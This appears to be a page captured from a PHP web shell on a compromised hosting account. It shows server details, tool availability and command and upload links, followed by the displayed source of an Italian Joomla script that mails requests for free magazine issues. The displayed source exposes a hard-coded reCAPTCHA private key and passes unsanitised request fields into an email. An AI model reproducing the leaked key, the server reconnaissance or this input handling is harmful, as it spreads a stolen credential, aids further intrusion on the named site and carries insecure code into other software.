|
Server IP : 10.111.20.6 / Your IP : 216.73.217.80 Web Server : Apache System : Linux webm006.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : edizioni ( 7252) PHP Version : 8.3.23 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/edizioni/stampaeweb/../momentiweb/tmp/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/* RESTITUISCE IL NOME UTENTE */
require_once (dirname(__FILE__).DS.'modules/mod_login/helper.php');
include_once ('funzione.php');
$word = JRequest::getVar('word', false, '', 'CMD');
if (plgSystemCaptcha::confirm($word)) {
echo "You got it right<BR><BR>";
}
$type = modLoginHelper::getType();
$return = modLoginHelper::getReturnURL($params, $type);
$user =& JFactory::getUser();
$idut = $user->get('id');
/* FINE NOME UTENTE */
// ACQUISIZIONE DEI DATI INSERITI DALL'UTENTE
$cogn = $_REQUEST['cogn'];
$comu = $_REQUEST['comu'];
$mail = $_REQUEST['mail'];
require_once('recaptchalib.php');
$privatekey = "6Lc9Ke8SAAAAAIQi8Q61dLdZZ-68Tezam7KD6GKI ";
$resp = recaptcha_check_answer ($privatekey,
$_SERVER["REMOTE_ADDR"],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]);
if (!$resp->is_valid) {
echo "<h1>CAPTCHA ERRATO, RIPROVA</h1>";
header("Refresh: 3; url='http://www.momentiweb.it/index.php?option=com_content&view=article&id=943&Itemid=12'");
} else {
echo "<h1>Richiesta 4 numeri di momenti in PDF</h1>";
echo "<br>La tua richiesta è stata recapitata alla redazione di momenti<br>";
echo "<br>Grazie per averci contattato.<br>";
$testo="Il signor $cogn\n";
$testo = $testo ."residente a $comu \n\n";
$testo = $testo ."Chiede di ricevere 4 copie gratuite di momenti \n\n";
$testo = $testo ."alla mail: $mail";
mail("giornalemomenti@gmail.com","MOMENTI GRATUITI",$testo, "From: MomentiWeb");
}
?>